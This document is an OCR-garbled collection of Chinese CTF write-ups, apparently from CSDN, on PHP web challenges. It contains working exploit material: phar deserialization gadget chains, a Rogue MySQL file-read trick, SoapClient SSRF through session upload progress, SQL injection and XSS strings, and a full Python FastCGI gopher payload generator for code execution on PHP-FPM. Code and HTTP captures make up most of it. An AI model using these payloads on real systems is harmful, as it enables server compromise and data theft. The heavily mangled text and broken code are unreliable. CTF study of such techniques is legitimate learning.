EE in_array($extension, $allowedExts)

%c = new Check($tmp_name);

$c->check();
if ($_FILES["file"][“error”] > @) {

echo "Hi&: : " . $_FILES["file"]["error"] . "<bri";
ie();
} else {
jploaded_file{$tmp_name, Suserdir . /" . md5(3file_name) . "." . Sextension)
echo "M HFFMWIE: = . Suserdir . /" . md5($file_name) . " : —:-v_:.teqs:L;Jnrrllll
} o =\ LU L]

& #class.php, T¥E T <?r%

($data, -"<?")
in-contents!™);

BB R A R 54k R 4 28 SoapClientdT ssrfil T crifftadmin.php & ikpostit K, <?FRZAEH <script language="php"> LR
i,
pharff) 5233



1. 8L php:/filter REeit— L LR #3417 phar:// k75116

2. Bibxxen#k B Sz & phar, config.php Hlibxml_disable_entity loader(true);Z2F T in#k s #8524k 88 /1, {EFileZ&rh#
ReflectionClass x it 25 IR sz F 4425, X B A] LA sz L. SimpleXMLElement2$ i 17 xxe o

3. i AT EmltMysqliZk, FHvps ERogue Mysqlft % & Bk 55347 phar https://www.vulnspy.com/cn-phpmyadmin-load-data-local-
file-read-local-file/

PATEMS, LOAD DATA LOCAL INFILE tH@&MIRIET php_streas_open_wrapper . iERMME—T.

Tphp
class A
public
public function __wakeup
system(§this-=s

sysqli_imitl
ysqli_options($s, MYSQLI_OPT_LOCAL_INFILE, truel;
eysqli_real_connect($ "localhast root! Z3456°, “easyweb', 386 ;
yaqli_guery ‘LOAD DATA LOCAL INFILE % ‘phar://test.phar/testy’ INTO TABLE MINATED

$reflect = new ReflectionClass(
$reflect->newInstanceArgs();

$reflectionMethod new ReflectionMethod(
$reflectionMethod->invoke($sql, $arr);

$reflectionMethod new ReflectionMethod(
$reflectionMethod->invoke($sql, 5

$reflectionMethod new ReflectionMethod(

$reflectionMethod->invoke($sql,

expil .
BT phar.php &% 1.gif, @it LA LERRKE.

£ rogue mysql i 55 2% BB B A B phar Gz ER
phar://./lupload/122c4a55d1a70cefd72cac3982dd49a6/b5e9b4f86ce43cab5bd79c894c4a924c.gif

2 func.php 32 php:/filter/read=convert.base64-
encode/resource=phar://./upload/122c4a55d1a70cefd72cac3982dd49a6/b5e9b4f86ce4 3cab5bd79c894c4a924c.gif


https://www.vulnspy.com/cn-phpmyadmin-load-data-local-file-read-local-file/

<?php
class File{
public $file name;
public $type;
public $func 5
function _ construct($file name){
$this->file name $file name;

1
J

$target

$post string

$headers array(

)5

array(null, array( $target,

join( ,$headers) (string)strlen($post_string) $post_string,
))s

new Phar( )

startBuffering();

$phar->setStub(
new File($arr);
setMetadata($o);
addFromString(

$phar->stopBuffering();

rename ( ’ )

AEFAMySQLifit & 1, F)FH SplStack, i F & push 5 i,



<?php

class File {

public $file name

public $func

function _ construct(){
$target
$post_string

$headers [1;
$this->file _name
null,
array( $target,
str_replace( 5 5

join( ,$headers) (string)strlen($post string) $post_string),

1§

1
J

$object new File;
echo urlencode(serialize($object));
new Phar( )

startBuffering();
addFromString(
setStub(
setMetadata($object);
stopBuffering();

{BRF R B R0 R % 2 T 9 45 FAMyS QLA R B A T destruct 3 B E # F php:/filterii 47

|Upload Labs 2

HECXEMIE admin.php BEZARN __vakewp . FREAR _destruct .. BEFRHBETRERBHN. RENG
Wi EHEE, RESRNRE—HREET..

https://xz.aliyun.com/t/6057 ?page=5#toc-2
[ 5 4% 2020 = 3£ ]Game Exp

XK4iA . phark £ 54k
B THARD R LI i MRS AT K
llogin/register.php



https://xz.aliyun.com/t/6057?page=5#toc-2

ffinger/index.php

134

script>alert(

<script>alert( ):<fscript>

<script=>alert(

SN B FOB BT H R, SRABITE N, BE AL RN LG IR SRR AR SR ERGNE R, BRSO R A
X A4 Llusername.extension 5 R 44, sqUE AR K AT
B 5 RAEE 5 Ffile_existst Efilename R BAEAE, IS4 B HOnT 45 F O B il pharfi /& ) 57 51 44

<script>alert(

Nlogin/register.php 4t B $#:# F phar & 7 Fil46 ST AL RARAG B v]
exp:



<?php
class AnyClass{

var $output

new AnyClass();

new Phar(
startBuffering();
setStub(

setMetadata($a);
addFromString(
stopBuffering();

A ) pharsC G 418 gif, TEAMIR EAE SCHEM, REINE, IEWEM K —KE,
phar

ESSID
i0b0daa3édB0el

Upgrade-Insecure-Requasts: 1

T4 TE19040110057

flagi73B15cc3-bb28-40bE-FasB-E0733bcdcOTS)
<br />

Fatal erroc

<fh»
Exception thrown without a stack frame in <«

nawn

SDN @Amoldgqg

P E1904 011005 T BES BIST

B IRBBusername phar://usernamefil &



fiinger/index.phpkt, el i&etsr #1000 A

ty m \n Actions w LGN Raw  Render \n Actions w
GET /score.phplscore=1000 HTTR 1.1 HTTE/1.1 200 OK
Host: Server: SEY

022 15:15:41 GHT

html; charset=UTF-

Jan

Content=Type: tex
nt: Hozilla/5.0 (Windows HNT 10.0: Wingd: Content=-Length: Z0
E.0} Gecko/20100101 Firefox/9E.0

tore, no-cache, mu
_F v 1981 D8:52:00 GH
h;q=0.8, zh-TH; q=0.7,zh-HE; q=0.5, en-U5; q=0. 3, ¢ Fragma:

i X-Powsred-Ey:
Accept-Encodi

C : gzip, deflate
Connection:

| "status”: "success

CSDN @Amoldegg

A SRAE B R B R EM I M phar s F 54k, FTIREAZRssrf, RERIEE G EAIBMR, EXRFRHE— ANV R 7k
i, cal() A&#iEM, thatEikHSoapClient T

[SWPU2019]Web6

X8id: mysqlH WITH ROLLUP null 4¢3 & K7, PHP_SESSION_UPLOAD_PROGRESS
XS HATIRMIR, &P B SE A B sqlE #)iE /)18 B 45 R N0RY, $7~wrong username or password

ge/vebp,*/*;q=0.8 A-rOVErSQ-py: FOF/D.0.40
Accept-Language: i Content-Length: B85

gh-CN, zh: q=0.8, 2h-TW:q=0.7, zh-HK: g 2

=0.5,en=-U3;:q=0.3,en;gq=0.2 10 loginSELECT * FROM users WHERE
Accept-Encoding: gzip, deflate usernams='1l' and passwd='l'wrong
Content-Type: usernames or passwvord

application/x-vww-form-urlencoded
Content=Length: 19

Origin:
http://Zbbh5fhee-£331-4a5a-9766-b3b
£fSeefE54.noded.buuoj.cn:81
Connection: close

Beferer:
htep://ZbhbS5fhee-£331-4a5a-9766-b3b
Ef%9eefE54 . noded . bunoij.cn:8L/
Cookie: UM distinctid=
17=823b0800B5-0d411bh%596598al-4c3el
37c-144000-172823h0B0OL11E
Upgrade-Insecure-Requests: 1

username=lipasswd=1 CSON @Arnoldgqq


https://www.php.net/manual/zh/language.oop5.overloading.php#object.call

HRERATIRREN, F18sqiEaIRER18, $#<Wrong password

YECKO/ SULUULUL F1EEIOX/YE.U
Accept:

text/html, application/xhtml+xml, ap
plication/xml;q=0.9, image/avit, ima

AL T LT WAL T

Connection: close

& Refresh:

J;url=index.php?method=index

ge/webp, */*:;q=0.8 7 X-Powered-By: PHP/5.£.40

Accept-Language: 2 Content-Length: 85
zh-CN, zh; q=0.8, zh-TW; g=0.7, zh-HK; ¢q S
=0.5,en-US;q=0.3,en;q=0.2 10 loginSELECT * FROM users WHERE

username='admin’' or l=1§' and
passwd='1l'Vrong passwvord

Accept-Encoding: gzip, deflace
Content-Type:
application/x-vvv-form-urlencoded
Content-Length: 32
Qrigin:
htep://2bb5fthee-£331-4a5a-9T766-b3b
EfSeefESd.noded.buucj.cn:81l
Connection: close
Referer:
heep://2bb5thes-£331-4a5a~-97EE-b3b
Ef9eefE54.noded.buuoj.cn:81/
Cookie: UM distinctid=
17e823b08008B5-0d411h%=9E98al-4c3el
37¢c-144000-17eB823b080L1118
Upgrade-Insecure-Requests: 1

r

S50 @A moldaoe
. ) EEAITILHLIC) L
username=admin' or l=l§épasswd=1 2 = 19

MBS OB 4 B R M sqlik I 2 46 fipasswalf T Ke
LF($key["passwd'] == $_posT('passwd'D) |

EEAPILMSERR T sqREAN Y, & A EE ML EInUl
T mysqlsWITH ROLLUP Xtgroup by/& )45 R BEATIC B 0 SR B AN K BUE S F - 4255, R Anul

EENSFELECT name, SUM(money) as money FROM ctest GROUP BY name WITH ROLLUP;

B8 #: @R #x

name money
EiaiE 87
NEE 812
B 99
B 127
ERE 17

[ 1242 |

f# Fhavingxt 45 SR k47 R € BI AT

username=1 1'="1" passwd passwd

FERERHRIZEESMARELE N, 257 A — SR AT R & 5%
B F RN EE RIR method can useuser BHwpXliEiX B fimethod & 7] A& {E hint
SHT X4

method can usehint

welcome guest

a few file may be helpful index.php Service.php interface.php se.php
G O=EE Deve OEE (Jensss 0T QeE NES BDeEE 4 SesFs @ Hek

Encryption ~ Encoding - SQL - X555 - Other -

o Lrad URL http:72bb5Thee-1331-4a53-9766-b3b6109eeftsd noded buuo| cn:B1/ndex php?method=hint
CSDM @A moldacre
4 spitURL CS0M @Armaoldeg)



R RBEWpHIEE A wsdlphp, EHEIEL T LAF B—LEEH Kmethodfd, PLE—XH4

WA UPEL ALl uLLs

<{operation name="lozin”>

<{input message="tns:loginRequest™ />
<{output message="tns:loginResponse” />
{foperation>

<{operation name="set_cookis”>

<{input message="tns:set_cookieRequest” />
<{putput message="tns:set_cookieResponse” />
{foperation>

<{operation name="user”>

<{input message="tns:userRequest” />
<{output message="tns:userFesponse” />
{foperation>

<{operation name="check”>

<{input message="tns:checkRequest™ />
<{output message="tns:checkResponse” />
{foperation’>

<{operation name="File read”>

<{input message="tns:File readRequest” />
<putput message="tns:File readResponse” />
</operation>

<{operation name="hint">

{input message="tns:hintRequest” />
<putput message="tns:hintResponse” />
</operation>

<{operation name="Get_flaz”>

<{input message="tns:Get_flagRequest” />
<{putput message="tns:Get flagResponse” />

</operation> C5DN @Arnoldagg
A F e e T ™

\PATT MAme- SECUrlTYIlle TLTYPE- XSO:STTINg F/
</messager

{message name=" checkResponse”>

<{part name="check” type="xsd:string” />
</message>

{message name= File_readRequest”>
{part name="filename” type="xsd:string” +lue="keyaaaaa.aaasd.fsaf, txt” />
{/mossager

{message name="File readResponse™>

<{part name="File_read” type="xsd:string” />
</message>

<{message name= hintRequest™>

{part name="few_file” type="xsd:string” /¥
</message’

{message name=" hintResponse”>

{part name="hint” type="xsd:string” />

CSDN @Amoldggg



File_read A8 A LA B SCHF 9 25
rie_reaa

welcome guesi

flag {this_i=_false_flag)

O OE88 Osvs DEtE (el Oar O NRE B &  Teamm @ Had

o Load URL hitp/f2bbSbea-1331-4a5a-9766-b3bEM0eelE 54 noded buugj.cn B1findex php?method=File_read

y SPHLURL

Executa

Postdata [ Referer [ UserAgent [J Cookies Clear A

filename

jaaaaaaaasdizar bad

FE— T ZAThintib 45 S04
index.php

ode.php™);
ice.php®);

2 "hint"™, "user”,"get_flag
$method, $allow
allow-method™);
($method-=="File_read™){
$param-=%_P ['filename'];
$param2-n
{

(Emethod !
$param=%_POST["
$param2---$_POST['p

I

L
echo-"method - can- us

echo-$method;

ram, $param2} ;




Sei M method=get_flag#~ R A adminfE 4 Hi G55 15 i)
FEBEPIXTEService.phpH, EFRA B TLEEEEL, Hlencode.php

$length
$swpuctf
fvarch

$length; -$j++){
$swpuctf){

T
$varch
$hs;
1
$swpu
(3] 8;-%5] length; - §3
$swpu d($content{$j}) -+ (ord($varch{$j}}}

b ode(Sswpu);

1php

1 3SHPU ) |

(3h
sh

¥
$varch

$hes]

ypt("admin:1", 'flag{this_is_false_flag}"');

#encode.php
*¥ZmdmINxaQ==[ Finished-in-11l6ms]

£h 345 B i cookie N xZmdm9ONxaQ==
##cookie 5 B il Bl se.php, interface.php, {EService.phpAlisR AN AT L



public $modi;
public $mod2;
public function _ call($name, $param){
if($this->{$name}){
$s1 $this->{$name};
$s1();

)i
public function _ get($ke){

return $this->mod2[$ke];

}
class bb{

public $modi;

public $mod2;

public function _ destruct(){
$this->mod1->test2();

$mod1;

$mod2;

$mod3;

function _ invoke(){

$this->mod2 $this->mod3.$this->modl;

$name;

$flag;

$b;

function getflag(){

session_start();

var_dump ($_SESSION);

$a array(reset($_SESSION),$this->flag);
echo call user_func($this->b,%a);

b
class ee{
public $stri;
public $str2;
public function _ toString(){
$this->strl->{$this->str2}();
return g

}
$a = $_POST[ 15

unserialize($a);




interface.php® I %, I LA SoapClientf]ssrf, Xfget flagi#47 i

#interface.php
<?php

vice.wsdl®,arra cap_version"=>SOAP

se.phpfI [ FF I EEMY G LU LRI 82, AR A T 1 f getflag ki %

X B & Mimethod=get_flag/2 1 i Service.php 2 H Get_flagi& %, HE7EIXFcall_user funcii iz, EFERMYMN, 1N
X BAE R E AT 2 )8 3 T session, #BikAEFI F php sessionft [ 7 Fil4k 3k 4T ssrizs b 1 F 1% 28 3

F| Fsession.upload_progressi#t 4T & 7 54k, i Bk 5t 2 FI FHPHP_SESSION_UPLOAD_PROGRESS A& 3R 2%
PHP_SESSION_UPLOAD_PROGRESSHIE 5 Asession3CfFH, i &= P FIGIER) S N 58 ] F| FH sessionx 5 51 458 B
ssrf



new bb();
new aa();
new cc();
new ee();
mod1 $aa;
mod1 $ee;
new dd();
flag
b
stril $dd;
str2 5
$aa ->mod2[ ] $cc;
echo serialize($bb);

array (

new SoapClient(null, array(

))s

serialize($b);

str_replace( , $aaa);
str_replace( , $aaa);
echo $aaa;

join(

, $headers),




action method

type name

type name

type

’RAEEH:, REEBSKvaluetifl, 3£n_Cookie: PHPSESSID=test2; iX/M& 7] LMT & HE 5 J5 T 15 4 se.phpIPHPSESSID
EAHRE, E4ERKpayloadsiin Lt | LAk & 5511k

\n  Actions v MW Raw Render \n  Actions v

NT 10.0; Winéd4; xE4; rev:9£.0) HTTE/Ll.1 200 OK

Gecko/20100101 Firefox/96.0 2 Server: openresty

Accept: 3 Date: Sat, Z9 Jan Z0ZZ 20:17:43 GN

text/html, application/xheml+xml, ap ! Content-Type: text/html: charsec=U"

plication/¥ml;¢=0.9, image/avit, ima % Connection: close

ge/webp, */*:q=0.8 £ ¥-Powered-By: PHP/S5.&.40

Accept-Language: 7 Content-Length: 3402

zh-CN, zh; gq=0.8, zh-TW:q=0.7, zh-HK; q

=0.5,en-U5;¢=0.3,&n;q=0.2

- Accept=Encoding: gzip, deflate
Contenc-Type: multiparc/form-data;

% mechod can useindex<!'DOCTYPE html>
10 |<!==[if 1& IE 7 ]> <html lang="en"
11 €!==[if IE 7 1> <html lang="en'"

<l-<[if TE 8 ]> <html lang="en"

B QU TIPS <!-—[if TIE 9 ]> <html lang="en"
==d5TTB2 LE22LI55159E252934E4E£352 14 <!==[1if (gt IE S)|!(IE}]1><'--> <hrti
Content-Length: 585 <l==g![endif] ==>
5 Connection: close <heads>
Cookie: PHPSESSIDmtestl: <mera charsec="UTF-8" />
Upgrade=Insecure=-Requests: 1 17 <!=- <meta http-equiv="X¥-UA-Co
18 <title>

Login and Registration Form
<f/cicle>
19 <meta names"yviswport"™ contents'

Z1EZZ15515962529349649€6352
i Content-Disposition: form-data:
name="PHP_SESSICN UPLOAD PROGRESS"
= . £meta name="ds=
|0:10: §ScapClisnt™:5: (8:3:"uri";=: > T 3
aaal”":=:8:"location”:=2:30: "http
://127.0.0.1/ incexface.php”;3:15: "
_stream conctext™;i:0:s:11:" user a

gent™;:s: E0: "Wupco 4 £1inke Fp1=n45égb*$gﬁhfamy(dﬂqpl
~r e s I S i%"F N N L

iption" conte
name="gkaywords"” contenc='
name="auchor" content="C
rel="shortcut icon" href

SR J5 i % sessionti [ se.php# 22 payload B AT

e et au g =
i ¢ 2 ASFUNELEUWSDY. FOF/J.0.70
;nglESE'Php HTTR/1:1 10 Content=Length: 4%5&

2hh5fheae=-£33 l-4a5a4-9TEE-bIbELY9aafES
4.noded.buuoj.cn:81

User-Agent: Mozilla

Accept: text/html

Accept-Language: zh-CHN
Accept-Encoding: gzip, deflate
Content=-Typs:
applicacion/x-wyw-form-ur lencoded
Content-Length: I7&

Origin:
hetp://Zbb5fthee-£331-4a5a-5T766-b3bE
f9eefES4.noded.buucj.cn: 81

array(l)
["a:l:{=:252:"upload progress "]=>
cbject (SoapClient)#€ (8) (
15 ["uri™]=>
16 string(4) "aaab"
17 ["location"]=>
string(30) "http://127.0.0.1/inter:
19 ["™ scream context']=>
20 inc(O)
["_user_ agent"]=>
22 scring(€0) "wupco
¥-Forwvarded-For: 127.0.0.1
Cookie: user=xImdmSNxzal=="
25 ["_soap_version"™] =

L 26 1int (1)
e 7 ["httpsocket"] =>

28 inc (0)
0:2:"bb":Z:{m:4: "modl";0:2: "aa™:2:{ alcn "

25 use prox -
2:4:"modl":N:s:4:"mod2";a:l:{=s:5:"¢C E.n;rl.'li-p ¥l
est2™:0:2:"ce™:3:{2:4: "0odLl"0:2: Me ol A

iy ["htepurl”]=>
ame";N;s;ﬂ;"fldg”;er:“Gtt_tLdg";s; intlu’
1:"b";s5:14:"call_user func”:}s:4:"s }

tr2”;:s:
4:"mod3":N:2}})a:4: "modZ":N:}

7:"getflag":}=:4:"mod2";N:=3:

flag{59d48E49-ebff-43cf-ala3i-4aBlb.

CSDN @Amoldggg



[NCTF2019]phar matches everything

X4&id: phar, ssrf+gopher{Tfpm

<?php

class Easytest{
protected $test
}
class Main {
public $url

$a new Easytest();
echo urlencode(serialize($a))

new Main();

hex2bin(
new Phar( )5
startBuffering();
setStub($png_header
addFromString(
setMetadata($b);
stopBuffering();

> )5

HEEflagi A3, $EEetc/hostsbl K/proc/net/arp
Iprocinet/arp3R /B EEHLEI I P IP ik, o P IR =ML HEAT 450

ML Ca b AT php o0 e 28
th

B E XA pHAE Bexp B Murl Anhtto i W W AE B E A FER RS, RXBEHEERIINMNENKIPHIE, ®EIANHE
iisEIFTREFR IR B T, % Bwpid —iE

RABisrcHIARIG AT &1, E&5SgopherthiliTFPM

18 7 A python3 7] F I i A<

gopher.py
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
import requests

2 else False

return force bytes




else:
return (i
bord(c):
if (c,
return c
else:
return €
force_bytes(s):
ilar (s,
return s
else:
return s.encode(
force_text(s):
if ( (s),
return s
if
s (s,
else:
s (s)
return s
class FastCGIClient:

__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER
__FCGI_ROLE_AUTHORIZER
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9

__ FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__ FCGI_HEADER_SIZE = 8

FCGI_STATE_SEND
FCGI_STATE_ERROR
FCGI_STATE_SUCCESS = 3

def init (self, host, port, timeout, keepalive):
self.host host
self.port port

self.timeout timeout
if keepalive:
self.keepalive
else:
self.keepalive
self.sock None
self.requests @)
__connect(self):
self.sock socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)




try:
self.sock.connect((self.host, (self.port)))
except socket.error as msg:
self.sock.close()
None
(msg))
return False

self.sock
print(

return True
__encodeFastCGIRecord(self, fcgi_ type, content, requestid):
length (content)
buf = bchr(FastCGIClient. FCGI_VERSION) \
bchr(fcgi_type) \
bchr((requestid 8)
BXFF) \
8) & OXFF) \
OXFF) \

( OXFF) \
bchr(requestid
bchr((length
bchr(length
bchr(0) \
bchr(0) \
content

return buf

__encodeNameValueParams(self, name, value):

nLen (name)

vLen (value)
record

128:

bchr(nLen)

if nLen
record
else:

record

bchr((nLen
bchr((nLen
bchr((nLen
bchr(nLen

24)
16)
)

OXFF)

0x80) \
OXFF) \
OXFF) \

128:
bchr(vLen)

if vlLen
record
else:
record bchr((vLen
bchr((vLen
bchr((vLen

bchr(vLen

24)
16)
8)

OxFF)

0x80) \
OXFF) \
OXFF) \

return record value

__decodeFastCGIHeader(self, stream):

@)

header| ] bord(stream[0])

header| bord(stream[1])

header| ] (bord(stream[2])

header| ] (bord(stream[4])

header| ] bord(stream[6])

bord(stream[7])

name

header

8) bord(stream[3])

) bord(stream[5])

header|
return header
__decodeFastCGIRecord(self, ):
header .read( (self._ FCGI_HEADER_SIZE))
if not header:

return False
else:

record

self. decodeFastCGIHeader (header)
record[ ]
if

in record.keys():

contentLength (record|




if in record.keys():
skiped .read( (record|
return record
def request(self, nameValuePairs={}, post
if not self._connect():
print(
return
requestId random.randint(1, (1 16) 1)
self.requests[requestId] @)
request
beginFCGIRecordContent = bchr(0) \
bchr(FastCGIClient. FCGI_ROLE_RESPONDER) \
bchr(self.keepalive) \
bchr(0) 5
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord self. encodeNameValueParams(name, value)
if paramsRecord:
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_PARAMS, paramsRecord, requestId)
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_PARAMS, , requestId)
if post:
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_STDIN, force bytes(post), requestId)
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_STDIN, , requestId)
self.sock.send(request)
self.requests[requestId][ FastCGIClient.FCGI_STATE_SEND
self.requests[requestId][ ]
return self._ waitForResponse(requestId)
gopher(self, nameValuePairs={}, post ):
requestId random.randint(1, (1 16) 1)
self.requests[requestId] @)
request
beginFCGIRecordContent bchr(0) \
bchr(FastCGIClient. FCGI_ROLE_RESPONDER) \
bchr(self.keepalive) \
bchr(0) 5
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name force_bytes(name)
value force_bytes(value)
paramsRecord self. encodeNameValueParams(name, value)
if paramsRecord:
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_PARAMS, paramsRecord, requestId)
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_PARAMS, , requestId)
if post:
request self. encodeFastCGIRecord(FastCGIClient. FCGI_TYPE_STDIN, force_bytes(post), requestId)
request self.__encodeFastCGIRecord(FastCGIClient._ FCGI_TYPE_STDIN, , requestId)

return request

__waitForResponse(self, requestId):
data
while True:

buf self.sock.recv(512)




if not (buf):
break
data buf
data BytesIO(data)
while True:
response = self. decodeFastCGIRecord(data)
if not response:
break
if response[ ] FastCGIClient._ FCGI_TYPE_STDOUT \
or response| ] FastCGIClient._FCGI_TYPE_STDERR:
if response[ ] FastCGIClient._FCGI_TYPE_STDERR:
self.requests| ] FastCGIClient.FCGI_STATE_ERROR
if requestlId (response[ 1):
self.requests[requestId][ ] response[
if response[ ] FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId][
def _ repr_ (self):
return . (self.host, self.port)
if _ name_
parser argparse.ArgumentParser(description
parser.add_argument( 5
parser.add_argument ( 5
parser.add_argument( , default
parser.add_argument( , default=9000, )
parser.add_argument( , default
parser.add_argument( , default
parser.add_argument(
parser.add_argument(

args parser.parse_args()

client FastCGIClient(args.host, args.port, 3,
params @)

documentRoot

uri args.

params {

)
documentRoot uri.lstrip(
uri,
)
uri,

documentRoot,

)

(args.code),

}

if args.ext and args.include_file:

params [

params [ args.include file




response client.request(params, args.code)

print(force_text(response))
else:
response client.gopher(params, args.code)
if args.url_format:
print(urllib.parse.quote(response))
if args.base64 format:

print(base64.b64encode(response))

FREFPMEIAMIP, php X HHIBEE. ¥ 0 ERIA9000. E4THiphpfRAg. I HZERurlencode

python gopher.py ip /var/www/html/index.php -p 9000 -c

phar4: I 445 Bturl gopher://10.0.248.6:9000/ 1N b4 B fIpayload

X A~gopherth il 4 Fipharfl, 2 JE Bt E] T phpinfo()

KHopen_basedirfiiie TEHE, BEMZSHI IR HRLEW, Hphpinfo()ti— T#i1T, Hfilesystemiterator, /5 &k ¥iflag
fEMag, Hini_setfmkdirdl & EE

trgopherftiZicv LAY

<?php mkdir( );chdir( );ini_set( );chdir( );chdir( );chdir( );chdir(

hdir( );chdir( );chdir( );chdir( );ini_set( ) )s;var_dump(file_get contents(

https://blog.csdn.net/Xxy605/article/details/120161001 X BB ZEICFE T Hsh3kEflag k4


https://blog.csdn.net/Xxy605/article/details/120161001
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